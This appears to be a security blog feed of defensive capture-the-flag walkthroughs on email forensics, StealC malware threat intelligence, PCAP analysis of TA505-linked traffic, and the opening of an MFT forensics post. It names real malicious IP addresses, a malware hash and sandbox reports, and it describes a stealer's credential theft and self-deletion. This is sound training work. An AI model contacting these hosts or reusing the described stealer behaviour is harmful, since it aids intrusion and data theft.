CoCanDa, a planet known as ‘The Heaven of the Universe’ has been having a bad year. A series of riots have taken place across the planet due to the frequent abduction of citizens, known as CoCanDians, by a mysterious force. CoCanDa’s Planetary President arranged a war-room with the best brains and military leaders to work on a solution. After the meeting concluded the President was informed his daughter had disappeared. CoCanDa agents spread across multiple planets were working day and night to locate her. Two days later and there’s no update on the situation, no demand for ransom, not even a single clue regarding the whereabouts of the missing people. On the third day a CoCanDa representative, an Army Major on Earth, received an email.

In this challenge, the stakes are high: the daughter of the President of planet CoCanDa has vanished. While agents are scattered across the system searching for her, we’re plugging away in the SOC, keeping systems safe. Suddenly, an Army Major back on Earth receives a suspicious email — could it be a clue? It’s our job to find out.

For this investigation, we’ll be leveraging CyberChef, “The Cyber Swiss Army Knife,” to perform the bulk of our analysis. When we need to dig deeper, we’ll call in reinforcements with Didier Stevens’ zipdump.py utility to aid in the investigation. There are many ways to approach this challenge, and this is just one path, but the goal is to give you a working knowledge of CyberChef you can take back with you to planet Earth. Let’s get to it!

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! When working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.

To keep this write-up focused, I’m going to skip step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–)

Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What is the email service used by the malicious actor?

Let’s kick off our investigation by analyzing the email received by the CoCanDa representative. First, extract the ZIP file containing the artifact — A Hope to CoCanDa.eml.

We have a few methods we can use to open the .eml file, including a mail client or a simple text editor. But for this challenge, we’re going to take a different approach and leverage CyberChef, a multipurpose data manipulation and analysis tool, to perform the full investigation.

If you’re using REMnux like me, CyberChef is already built into the environment, but the web-based version works just as well — your choice! To start, open CyberChef and drag the .eml file into the input window. In the output window, we’ll be able to analyze the email headers.

To answer Question 1, we need to determine the email service that the message originated from. To do this, focus on the “Received” field, which shows all the mail servers the message passed through before delivery — the first one reveals the sender’s mail server as the origin.

CyberChef: Identifying the originating mail server

This is valuable information to determine the source of the email and help uncover any potential spoofing that may be occurring.

Question 2: What is the Reply-To email address?

To answer Question 2, we need to identify the “Reply-To” address within the email headers. Bad guys can, and often do, spoof the From address.

Sometimes, a mismatch between the From address and Reply-To can be a good indicator that something is amiss. While the “Reply-To” field can also be spoofed, it often reveals the attacker’s real email address, especially in phishing emails where replies are expected.

CyberChef: Identifying the Reply-To address

Scroll through the parsed headers and look for the “Reply-To” field. Notice that the email address is different than the From address? This discrepancy might reveal the attacker’s actual inbox.

Question 3: What is the filetype of the received attachment which helped to continue the investigation?

Moving right along! To answer Question 3, we need to determine the filetype of the email attachment.

In CyberChef, scroll down past the message headers to the section containing the attachment metadata (part of the MIME headers): Content-Type: application/pdf; name="PuzzleToCoCanDa.pdf"

Seems pretty straightforward, doesn’t it? But things aren’t always as they seem. While CyberChef displays the declared extension, this information can be spoofed.

To determine the true filetype of the attachment, we need to do a little more legwork. Between the header and the end of the email, there’s a large block of Base64-encoded data — this is the attachment itself.

CyberChef: Identifying the attachment as Base64-encoded data

–BOUND_600FB98E0DCEE8.49207210 Content-Type: application/pdf; name=“PuzzleToCoCanDa.pdf” Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=“PuzzleToCoCanDa.pdf”

[Base64 Encoded Data]

–BOUND_600FB98E0DCEE8.49207210–

To analyze it, copy that Base64-encoded block, then click the + symbol in the top right of CyberChef to add a new input tab. Paste the Base64 data into this new tab.

Now we’re going to build a quick recipe. Since we know the attachment is Base64-encoded, start by adding the “From Base64” operation. Next, add the “Extract Files” operation to leverage CyberChef’s parsing capabilities to identify the embedded files.

Once we’ve baked our recipe, we can see that the purported .pdf file isn’t a PDF at all, it’s actually a .zip archive!

Question 4: What is the name of the malicious actor?

Now that we’ve identified and extracted the .zip files, let’s go ahead and save them using the Save button in CyberChef next to each extracted file. For our investigation, we’ll focus on the largest file: extracted_at_0x0.zip.

Once it’s saved, extract the contents. Inside, you’ll find:

Image file (DaughtersCrown)
Document (GoodJobMajor)
Spreadsheet (Money.xlsx)

Our mission in Question 4 is to discover the name of the threat actor. Let’s start by analyzing the GoodJobMajor document in CyberChef. Click Open file as input, then select the document.

CyberChef: Opening the document as input

We’ll start with a blank slate, so remove all previous operations from the recipe. This time, we’ll only add the “Strings” operation, which extracts readable text from the file which is pretty useful for uncovering embedded metadata.

CyberChef: Using the Strings operation to identify the author’s name

By focusing on strings within the metadata, we can identify the author’s name under the /Author stream. In this case, the author field reveals the name of the malicious actor. Let’s submit our answer and move on to the next question!

Question 5: What is the location of the attacker in this Universe?

To answer Question 5, we’ll need to find some clues about the attacker’s physical location within the fictional universe of this challenge.

After analyzing the strings extracted from GoodJobMajor in CyberChef, we didn’t find anything else useful. So, let’s pivot to a second file from the extracted .zip archive: Money.xlsx.

To save you some time, simply using the “Strings” operation in CyberChef won’t help us here. Instead, we’ll bring in another tool: zipdump.py by Didier Stevens. (There are other ways to approach this, so feel free to get creative!)

You might be wondering why we’re using a ZIP analysis tool on an .xlsx file. Great question! File types like .docx, .pptx, and .xlsx are part of the Open Office XML (OOXML) standard, which means they’re actually ZIP archives under the hood.

According to Open Office:

A SpreadsheetML or .xlsx file is a zip file (a package) containing a number of “parts” (typically UTF-8 or UTF-16 encoded) or XML files. The package may also contain other media files such as images. The structure is organized according to the Open Packaging Conventions as outlined in Part 2 of the OOXML standard ECMA-376.

Pretty cool, huh? So, by leveraging zipdump.py, we can dump the contents of the .xlsx file and bring them into CyberChef for further analysis.

Let’s start by checking the available options for zipdump.py using the -h switch.

Zipdump.py Options

Then, we’ll try something simple: use the -A option to dump the ASCII contents of all parts of the Money.xlsx archive, specifying your own output directory:

zipdump.py -A Money.xlsx -o

After running the command, zipdump.py dumps the ASCII contents to a text file. Open this file as input with CyberChef and keep the “Strings” operation in the recipe.

As you scroll through the output, you’ll spot what appears to be a plain text message from the attacker. Unfortunately, there’s no clear text indicator of their location.

CyberChef: Identifying Base64-encoded string in the zipdump.py output

But take a closer look at the string immediately following the message. Could it be a Base64-encoded location? Let’s find out.

Open a new CyberChef tab and paste the suspicious string. First, remove any padding or extraneous characters so you’re left with just the encoded data. I did this manually by highlighting the extra bits and pressing delete.

CyberChef: Removing extraneous characters

Next, add the “From Base64” operation to the recipe to decode — and voilà — we’ve stumbled onto the attacker’s location! Awesome job!

CyberChef: Identifying the attacker’s secret lair

Question 6: What could be the probable C&C domain to control the attacker’s autonomous bots?

By analyzing the attachments, we’ve gained some insight into the attacker’s identity and motives, but we haven’t yet uncovered any indicators of the command and control (C&C) infrastructure — or have we?

Let’s jump all the way back to the email artifact and revisit the header details we uncovered in Question 1 and Question 2.

One important detail is the Reply-To address. As we discussed earlier, this is likely the attacker’s true email address, and the domain could be part of their operational infrastructure. In phishing or malware campaigns, attackers sometimes use the same domain for multiple purposes like hosting phishing pages, malware, or even command and control.

Since this is the only domain we’ve observed that’s directly tied to the attacker, it’s reasonable to assume that it might also serve as a C&C domain, or at least be part of the infrastructure used to manage the “autonomous bots.”

CyberChef: Identifying the Reply-To address / probable C&C domain

In the real world, this would be a solid starting point for collecting threat intelligence and enriching the data with a platform like VirusTotal. For the purposes of this challenge, however, the trail goes cold, so the Reply-To field is our best lead.

Conclusion:

Give yourself a pat on the back — we’ve earned the gratitude of planet CoCanDa! From a single email sent by the attacker, we’ve leveraged the power of CyberChef to unravel the attacker’s name, location, and supporting infrastructure. Nice job!

Now that we’ve found the location of the President’s daughter, let’s close out this walkthrough of The Planet’s Prestige.

A big thank you to Blue Team Labs Online for another engaging challenge — I really enjoyed the kitschy theme of this one! I chose it for the sci-fi flavor but stayed for the mystery. I was determined to push myself to use CyberChef in ways I hadn’t tried before and see how much of the investigation I could complete using just that one tool. I was genuinely surprised by some of the functionality I hadn’t discovered before. It just goes to show that you can always find new ways to use old tools.

While I eventually had to pivot to a second tool, I wasn’t disappointed. Getting more practice with zipdump.py was a bonus. It’s such a handy utility that I hadn’t used it in a while. This challenge was the perfect excuse to dust it off.

Thanks for your support and partnering on this investigation — I hope you had a blast!. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/the-planets-prestige-e5beb8e545

REMnux: https://remnux.org/

CyberChef: https://gchq.github.io/CyberChef/

Mailtrap.io — Email Header Explanations: https://mailtrap.io/blog/email-headers/

Didier Stevens — Zipdump.py: https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/

DidierStevensSuite — GitHub: https://github.com/DidierStevens/DidierStevensSuite

Open Office XML — SpreadsheetML: http://officeopenxml.com/anatomyofOOXML-xlsx.php

CyberDefenders — Oski Lab Walkthrough

Sun, 15 Jun 2025 00:00:00 +0000

CyberDefenders — Oski Lab Walkthrough

A Cyber Threat Intelligence Challenge Using VirusTotal, Tria.ge, Any.Run, & MITRE ATT&CK.

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/oski/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Oski Lab from CyberDefenders, you’re in the right place. This challenge is a fantastic introduction to cyber threat intelligence (CTI) and leveraging online analysis platforms to perform research and gather indicators of compromise — let’s check out the scenario below.

Challenge Scenario:

The accountant at the company received an email titled " # "

Urgent New Order" from a client late in the afternoon. When he attempted to access the attached invoice, he discovered it contained false order information. Subsequently, the SIEM solution generated an alert regarding downloading a potentially malicious file. Upon initial investigation, it was found that the PPT file might be responsible for this download. Could you please conduct a detailed examination of this file?

In this challenge, the victim received a suspicious PowerPoint file and executed it. Assuming the role of a Security Analyst, our SIEM solution fired an alert about a potentially malicious file on the victim’s workstation — not good! It’s up to us to analyze the file hash using online cyber threat intelligence (CTI) and malware analysis services to determine if the file is a known-malicious artifact and learn more about the nature of the attack.

What’s in our toolkit for this investigation? We’ll start with the popular VirusTotal as a jumping-off point. From there, we’ll explore additional sources of information by pivoting to Recorded Future’s Triage and the dynamic analysis platform Any.Run. During our investigation, we’ll enrich our findings by mapping the observed tactics, techniques, and procedures to the MITRE ATT&CK matrix.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! When working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: Determining the creation time of the malware can provide insights into its origin. What was the time of malware creation?

Let’s dive right in! Start by extracting the downloaded challenge file archive. Inside, you’ll find the directory temp_extract_dir containing hash.txt.

This file contains our target — the unique file hash of the potentially malicious " # "

PowerPoint" file that triggered the SIEM alert. Using this file hash, we can start gathering intelligence about the file from online threat analysis platforms.

12c1842c3ccafe7408c23ebf292ee3d9

For our first steps, let’s pivot out to the popular online malware analysis platform VirusTotal. Head to the VirusTotal website and paste the malware file hash into the search box. This gives us a high-level overview of the corresponding file. We can see that the sample has already been submitted to the platform and is detected as malicious by a majority of the antivirus vendors that have scanned it. Good start!

VirusTotal: Detections Tab

To answer Question 1, we need to uncover the creation time of the malware. In VirusTotal, navigate to the Details tab and locate the Creation Time value under the History section. This value reflects the time the sample was compiled and can be helpful when building a timeline of how a malware attack unfolds. It’s worth noting that this timestamp can be spoofed, so don’t rely on it for complete accuracy.

VirusTotal: Identifying the sample’s creation time within the Details tab

Question 2: Identifying the command and control (C2) server that the malware communicates with can help trace back to the attacker. Which C2 server does the malware in the PPT file communicate with?

Moving right along, we now need to determine any URLs that the malware communicates with. This could indicate a command and control (C2) channel that the malware connects to.

To locate this information, click the Relations tab in VirusTotal and focus on the Contacted URLs section. Each entry here represents a URL the malware has attempted to reach. We can click on each one to pivot to its own VirusTotal entry and dig deeper.

VirusTotal: Identifying Contacted URLs

For example, by clicking the URL ending in .php, we can enrich the data by reviewing the Crowdsourced Context section. This often includes community-contributed insights, and in this case, it tells us that this is the C2 URL.

VirusTotal: Identifying a C2 IoC

Question 3: Identifying the initial actions of the malware post-infection can provide insights into its primary objectives. What is the first library that the malware requests post-infection?

Our next task is to identify the library requested from the C2 server. Based on the Contacted URLs we identified in Question 2, we already have some idea of what it might be. But to be thorough, and to explore the data from a different angle, let’s stick with VirusTotal and check the Behavior tab, which documents the detailed results of the dynamic analysis performed by VirusTotal.

VirusTotal: Identifying the requested library

Scroll down to Network Communication > HTTP Requests. Here, we’ll see an HTTP GET request for a DLL file: sqlite3.dll, hosted on the C2 URL. Since a DLL file is a library file, and the status code is 200 (successful), this evidence strongly suggests that we’ve found the answer to Question 3.

Question 4: Upon examining the malware, it appears to utilize the RC4 key for decrypting a base64 string. What specific RC4 key does this malware use?

To answer Question 4, let’s pivot from VirusTotal and search the file hash against another threat intelligence platform — Recorded Future Tria.ge.

Leveraging another platform is a solid strategy to get a fresh perspective on the analysis. Sometimes this reveals new information that isn’t available elsewhere.

In this case, we’re looking to identify the RC4 key used to decrypt a specific base64-encoded string within the malware payload. Searching the Tria.ge reports, we can find this easily. First, navigate to the Reports section and input the malware sample file hash into the search field:

Recorded Future Triage: Searching for the malware file hash

Then, select the first report to view the results of the analysis. Inside the report, check out the Malware Config section, which provides a high-level overview of strings extracted from the malware.

stealc | a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb | Triage _Check this stealc report malware sample a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb, with a score…_tria.ge

Recorded Future Triage: Identifying the RC4 key from the report

Using this method, we can find the RC4 key and complete Question 4.

Question 5: Identifying an adversary’s techniques can aid in understanding their methods and devising countermeasures. Which MITRE ATT&CK technique are they employing to steal a user’s password?

Moving right along, we now need to identify the specific technique this malware uses to steal a victim’s password, as it relates to the MITRE ATT&CK knowledge base.

For this task, let’s explore a third service — Any.Run. This is an interactive sandbox and malware analysis tool with robust reporting capabilities. But first, if we submit the malware hash to Any.Run, you might notice that there are dozens of reports to sift through, each with varying levels of detail.

Let’s work a little smarter and try to cross-reference a report from the VirusTotal Community tab comments. This way, we can pivot from one platform to another as we collect intelligence about the malware. Jump back to VirusTotal and check out the comment posted by ANY_RUN:

VirusTotal: Comment linking to the Any.Run report: https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44

Now that we’ve found a matching report from VirusTotal, we can access the corresponding report directly on Any.Run — awesome! From here, we just need to view the MITRE ATT&CK mappings for the sample by pressing the handy ATT&CK button.

Any.Run: Locating the ATT&CK button

To answer Question 5, recall that we’re looking for a password-stealing function, which falls under the Credential Access tactic. While there are a few possibilities, we can determine through process of elimination that the technique in question is Credentials from Password Stores (T1555).

Any.Run: Identifying the MITRE ATT&CK technique

Question 6: Malware may delete files left behind by the actions of its intrusion activity. Which directory does the malware target for deletion?

Let’s stick with the MITRE ATT&CK matrix from Any.Run. This time, we’re looking for the directory deleted by the malware.

First things first: we can leverage our knowledge of the attacker’s techniques to identify the specific Defense Evasion sub-technique— Indicator Removal: File Deletion (T1070.004).

Any.Run: Identifying the MITRE ATT&CK defense evasion technique

Clicking the technique brings us to the details window, which displays evidence of the technique as performed by the malware.

Analyzing the cmdline field reveals a command to delete (del) all .dll files, specifically targeting the C:\ProgramData directory. This is a good indicator that the malware is cleaning up after itself.

Question 7: Understanding the malware’s behavior post-data exfiltration can give insights into its evasion techniques. After successfully exfiltrating the user’s data, how many seconds does it take for the malware to self-delete?

For our final task in this lab, let’s take a closer look at the file deletion technique. We already identified some cleanup activity in Question 6, so now let’s examine the full command to identify the timeout period.

In this case, we’re looking for a delay which indicates how long the malware waits before deleting itself. We can see this clearly in several locations within the Any.Run report, including the Technique Details section or right on the Overview page.

Any.Run: Identifying the timeout value from the technique details

Any.Run: Identifying the timeout value from the report overview

The command includes a timeout value of 5 seconds, showing us that the malware pauses briefly before its self-deletion routine.

Now that we’ve determined the number of seconds, let’s submit the answer and wrap up this investigation!

Conclusion:

There we have it! Starting with the file hash of a suspicious file, we successfully used our threat intelligence skills to determine that the PowerPoint file is indeed malicious — time to start our remediation! By pivoting to online threat intelligence and malware analysis services, we’ve uncovered much more about the nature of this file, including how it operates and what the impact of executing it could be.

Now that we’ve completed our objectives, let’s close out this walkthrough of the Oski Lab!

A big thank you to CyberDefenders for another engaging lab. I always keep threat intelligence challenges in the rotation because regular practice and learning what tactical information is available is such a valuable real-world skill. Having hands-on time with a variety of services is a great way to start building better defenses and equipping yourself with a stronger working knowledge of threats you might encounter.

I found it incredibly engaging that there was no single source that could provide all the answers for this lab — it required pivoting to several services to paint the full picture. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/oski/

REMnux: https://remnux.org/

VirusTotal: https://www.virustotal.com/

Any.Run: https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44

Recorded Future Tria.ge: https://tria.ge/250509-vyp1vshq21

MITRE ATT&CK — Credentials from Password Stores (T1555): https://attack.mitre.org/techniques/T1555/

MITRE ATT&CK — Indicator Removal: File Deletion (T1070.004): https://attack.mitre.org/techniques/T1070/004/

TryHackMe — Warzone 1 Room Walkthrough

Sun, 01 Jun 2025 00:00:00 +0000

TryHackMe — Warzone 1 Room Walkthrough

A Network Packet Capture Investigation Using Brim/Zui, Wireshark, and VirusTotal.

Image Credit: https://tryhackme.com/room/warzoneone

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Warzone 1 room from TryHackMe, you’re in the right place. This challenge is a fantastic introduction to forensic network packet analysis — let’s check out the scenario below.

Challenge Scenario:

You work as a Tier 1 Security Analyst L1 for a Managed Security Service Provider (MSSP). Today you’re tasked with monitoring network alerts.

A few minutes into your shift, you get your first network case: Potentially Bad Traffic and Malware Command and Control Activity detected. Your race against the clock starts. Inspect the PCAP and retrieve the artifacts to confirm this alert is a true positive.

In this challenge, we’re stepping into the shoes of a Security Analyst at an MSSP, monitoring network traffic alerts for one of our customers when suddenly, an alert fires from their IDS/IPS — Uh-Oh! We collect a network packet capture file, or PCAP, and need to quickly determine if this is a true positive alert by analyzing the artifacts within the traffic.

Okay, deep breaths — what’s in our toolkit for this investigation? We’ll be busting out a couple of essential network packet analysis tools including Brim (now called ZUI) to process, search, and analyze the PCAP, and then pivoting to Wireshark for deep packet inspection. We’ll also enrich our findings by consulting VirusTotal to add context to any indicators of compromise (IOCs) we discover.

Sounds like fun, right? Let’s get into it!

In the spirit of learning, this walkthrough will be spoiler-free. But if you find it helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Question 1: What was the alert signature for Malware Command and Control Activity Detected?

Once in our analysis environment, let’s get acquainted with our toolset so we can start forming a plan. You’ll find everything we need in the Tools folder on the Desktop.

Contents of the Tools folder

Go ahead and launch it — and speaking of packet captures, once Brim is open, load the challenge file Zone1.pcap , and wait for it to process the capture file.

Once the file is loaded, let’s get an overview of the Suricata rule hits detected in the network traffic. Select the Zone1.pcap file, click Suricata Alerts by Category under the Queries header, and review the displayed alert categories.

Brim: Overview of Suricata Alerts by Category

We’re going to focus on Malware Command and Control Activity Detected since that’s what the question is asking about. Our next step is to find the alert signature for this category.

To do this, right-click the Malware Command and Control Activity Detected row and select New search with this value.

Brim: Selecting New search with the Malware Command and Control value.

This selection adjusts the query to display packets matching the Suricata rule — and more importantly, it reveals the details we need to answer Question 1 under the alert.signature column.

Brim: Identifying the alert signature.

Question 2: What is the source IP address? Enter your answer in a defanged format.

To answer Question 2, we need to determine the source IP address of the malware traffic. Fortunately, we can continue working in the same view we used in Question 1, this time focusing on the src_ip column, which contains — you guessed it, the source IP address.

Brim: Identifying the source IP address of the malicious traffic

But before we can submit the answer, we need to defang the IP address. This is a common practice to ensure that malicious IPs and URLs aren’t accidentally clicked. While this is easy to do manually, let’s work a little smarter and use CyberChef for the task.

The offline version of CyberChef is included in the Tools folder, but the online version works just as well. To defang the source IP address:

Open CyberChef.
Select the Defang IP Addresses operation.
Paste the source IP address into the Input field.

And voilà — we have the defanged IP address.

CyberChef: Defanging an IP address

Question 3: What IP address was the destination IP in the alert? Enter your answer in a defanged format.

To answer Question 3, we need to identify and defang the destination IP address of the malicious traffic. This process is exactly the same as in Question 2, except this time we’ll focus on the dest_ip column.

Once you’ve located the destination IP, open CyberChef, select the Defang IP Addresses operation, and paste the IP into the Input field to generate the defanged version.

Brim: Identifying the destination IP address of the malicious traffic

Question 4: Still in VirusTotal, under Community, what threat group is attributed to this IP address?

The phrasing for Question 4 is a bit misleading. To uncover what threat group is attributed to the destination IP address we found in Question 3, we need to pivot out to VirusTotal, an online threat analysis and sharing platform, to look up more information from the community.

Brim: Performing a VirusTotal lookup

In a real-world scenario, some versions of Brim support right-click context menu integrations that allow you to pivot directly to VirusTotal for IP lookups. Since the THM analysis environment doesn’t have open web access, we can’t get to VirusTotal this way. Instead, we’ll copy the destination IP and navigate to VirusTotal in another web browser. Then, paste the IP into the search field.

Once we’ve input the IP address, we’ll see that several providers flag it as malicious. Let’s turn to the Community tab to see if we can learn anything about the threat group attributed to this IP.

VirusTotal: Searching the malicious destination IP address

We’ll find that several community graphs include this IP address, and some mention a specific threat actor. Look for the tag with the TA prefix—this is the group we’re looking for. If you want more information about this threat group, check out the corresponding entry on MITRE ATT&CK: https://attack.mitre.org/groups/G0092/

Question 5: What is the malware family?

To answer Question 5, we now need to identify the name of the malware leveraged by the threat group. You may have already noticed the malware name in the alert.signature field from the Suricata alert in Brim, but we can cross-reference this by reviewing and confirming the VirusTotal community graph tags—nice!

VirusTotal: Identifying the malware family

Question 6: Do a search in VirusTotal for the domain from question 4. What was the majority file type listed under Communicating Files?

Question 6 is a bit confusing, since it seems like there is a missing step in the challenge. So far, we haven’t located a domain — only an IP address. That’s okay, though, we’ll adapt and try another approach.

Within our VirusTotal search page for the malicious IP address, navigate to the Relations tab and look at the Communicating Files section.

The question is tricky because the majority file type is Win32 EXE, but the expected answer format seems to match another communicating file type — this is the one we’re looking for. Not the most precise way of answering this, but it got the job done!

VirusTotal: Identifying communicating file types

Question 7: Inspect the web traffic for the flagged IP address; what is the user-agent in the traffic?

Okay, let’s return to Brim. Our next task is to search for the malicious destination IP we’ve been examining. To do this, enter the IP address into the search box and press ENTER.

There’s a lot of information to sift through, but let’s focus on the first three events — they contain all the data we’ll need.

Brim: Identifying a suspicious user agent in the traffic

Notice the second alert type for Suspicious User-Agent (REBOL)? Take a closer look at the following http event (the third entry)—we’ll find that this packet contains the suspicious user_agent string.

For reference, user agent strings are used to identify the client connecting to a web server and can help determine more information about the source of the traffic.

Question 8: Retrace the attack; there were multiple IP addresses associated with this attack. What were two other IP addresses? Enter the IP addressed defanged and in numerical order. (format: IPADDR,IPADDR)

For our next task, we’ll need to identify additional IP addresses associated with the attack, defang them, and submit them in numerical order. No problem!

The first step is to leverage Brim’s built-in HTTP Requests query from the Queries pane on the left-hand side of the window. This will filter individual http requests. From there, we’ll focus on the id.resp_h column, which represents the IP address of the external server that responded to each request. While the majority of the traffic is directed to the IP address we previously identified, a closer look toward the bottom of the list reveals a few new entries for us to analyze.

Brim: Identifying the additional IOCs

Searching each of these IPs on VirusTotal, and checking the Community tab again, we’ll discover that some of them are linked to the same malware family we identified back in Question 5. Give it a try! If you get stuck, I’ve included some spoiler links below.

VirusTotal VirusTotalwww.virustotal.com

Once we’ve confirmed the related IPs, we can jump over to CyberChef to defang them. Just remember when submitting your answer, the IPs must be in numerical order, with the lowest value first.

Question 9: What were the file names of the downloaded files? Enter the answer in the order to the IP addresses from the previous question. (format: file.xyz,file.xyz)

Keeping with our currently filtered HTTP Requests view in Brim, we can already identify the URI associated with the downloaded MSI file from the second IP address — jot this down, since it’ll be the second one listed in the answer format.

Brim: Identifying the file downloaded from the second IP address

To identify the “first” file, let’s pivot to another built-in Brim query: the File Activity query. This gives us a broader view of file-related events and helps us spot another MSI file downloaded from the first IP address we found in Question 8.

Brim: Identifying the downloaded file from the first IP address

Now that we’ve located both files, we can combine them to form our answer — just make sure to list them in the same order as the IPs from the previous question.

Question 10: Inspect the traffic for the first downloaded file from the previous question. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (format: C:\path\file.xyz,C:\path\file.xyz)

Now that we’ve identified two suspicious downloaded files, we need to determine where the artifacts were saved on disk. The question tells us there are two additional files saved in the same directory — but how do we discover this?

For this task, stick with our current Brim filter, then click the Packets button just above the search box to open the associated pcap in Wireshark. This will load the packets related to the file download from the first IP address — the one listed first in the answer to Question 9. Our goal is to review the TCP stream and look for clues about the download path and any other files written to the same location.

Brim: Pivoting from Brim to Wireshark

Once Wireshark is open, right-click the first packet in the list and select Follow > TCP Stream.

Wireshark: Opening the TCP Stream

While there’s a lot of data to sift through, we can work a little smarter by using the find box to search for the common Windows drive letter C:\. This quickly reveals a file path.

Looking just next to that path, we’ll also spot a second .exe file. Since the question specifies that both files are saved in the same directory as the downloaded file, we can reasonably conclude these are the two files we’re after.

Wireshark: Identifying

Question 11: Now do the same and inspect the traffic from the second downloaded file. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (format: C:\path\file.xyz,C:\path\file.xyz)

For our last task, we’ll repeat the same process, this time inspecting the TCP stream for the MSI file downloaded from the second IP address we identified in Question 9.

Start by using Brim to search for the second file name. Once you have the result, click the Packets button to open the capture in Wireshark.

Brim: Searching the 2nd MSI file name

As before, right-click the first packet in the list and select Follow > TCP Stream to view the assembled data.

Wireshark: Opening the TCP Stream

With the stream open, use the find box to search for the C:\ drive letter again. This will help us quickly identify the full file path and the names of the two additional files stored in the same directory.

Now that we’ve identified the directories associated with both suspicious downloads, let’s submit our answers and wrap up this challenge!

Conclusion:

Done and done! By analyzing the PCAP file containing the suspicious network traffic using Brim and Wireshark, and enriching our findings with VirusTotal, we successfully identified several malicious IP addresses associated with a threat actor. Then we determined what files were downloaded from the malicious infrastructure and where they were saved on disk. Putting all of the evidence together, we can confirm the alert as a true positive and move on to the containment phase.

Now that we’ve uncovered the nature of the alert and completed our objectives, let’s close out this walkthrough of Warzone 1!

A big thank you to TryHackMe for another thrilling and realistic challenge. I chose this weekly challenge to spend more hands-on time with Brim/ZUI and the awesome Suricata rules built in. While Brim/ZUI doesn’t quite have the ubiquity of Wireshark, it’s an extremely impressive tool that’s beneficial to learn and get some practice with. In the real world, I’ve used this tool numerous times to visualize data in a PCAP and uncover information that was time-consuming and difficult to find using other tools — it’s worth keeping in the kit. Awesome stuff!

If you liked this challenge and want to take on the second challenge, Warzone 2, I’ve got you covered with another walkthrough if you want to continue our investigation together.

TryHackMe | Warzone 2 | Room Walkthrough

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://tryhackme.com/room/warzoneone

Wireshark: https://www.wireshark.org/

Brim/ZUI: https://zui.brimdata.io/

Brim Data — “We’re renaming Brim to Zui”: https://www.brimdata.io/blog/brim-app-will-be-zui/

ZUI Docs — “Packet Captures”: https://zui.brimdata.io/docs/features/Packet-Captures#local-suricata-rules-folder

CyberChef: https://gchq.github.io/CyberChef/

VirusTotal: https://www.virustotal.com/

VirusTotal — Malicious Destination IP: https://www.virustotal.com/gui/ip-address/169.239.128.11

MITRE ATT&CK — TA505 (GA0092): https://attack.mitre.org/groups/G0092/

VirusTotal — Additional Malicious IP 1/2: https://www.virustotal.com/gui/ip-address/185.10.68.235/community

VirusTotal — Additional Malicious IP 2/2: https://www.virustotal.com/gui/ip-address/192.36.27.92/community

HackTheBox — BFT Sherlock Walkthrough

Sun, 25 May 2025 00:00:00 +0000

HackTheBox— BFT Sherlock Walkthrough

Investigating a Compromised Endpoint Using MFTECmd and Timeline Explorer.

Image Credit: https://app.hackthebox.com/sherlocks/BFT

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the BFT Sherlock challenge from Hack The Box, you’re in the right place. This challenge is a fantastic introduction to analyzing MFT artifacts on a Windows system — let’s check out the scenario below.

Challenge Scenario:

In this Sherlock, you will become acquainted with MFT (Master File Table) forensics. You will be introduced to well-known tools and methodologies for analyzing MFT artifacts to identify malicious activity. During our analysis, you will utilize the MFTECmd tool to parse the provided MFT file, TimeLine Explorer to open and analyze the results from the parsed MFT, and a Hex editor to recover file contents from the MFT.

In this challenge, a victim’s device has been compromised with malware, and we need to investigate what happened. The twist? We’re only given access to the Master File Table from the device. Fortunately, this is a robust forensic artifact that contains an entry for every file on the system — including size, timestamps, permissions, and more!

What’s in our toolkit for this investigation? Like the challenge stated, we’re going to leverage a couple of tools from Eric Zimmerman’s forensic suite to parse and explore the $MFT, including MFTECmd to parse it and Timeline Explorer to analyze the results.

Sounds like fun, right? Let’s get into it!

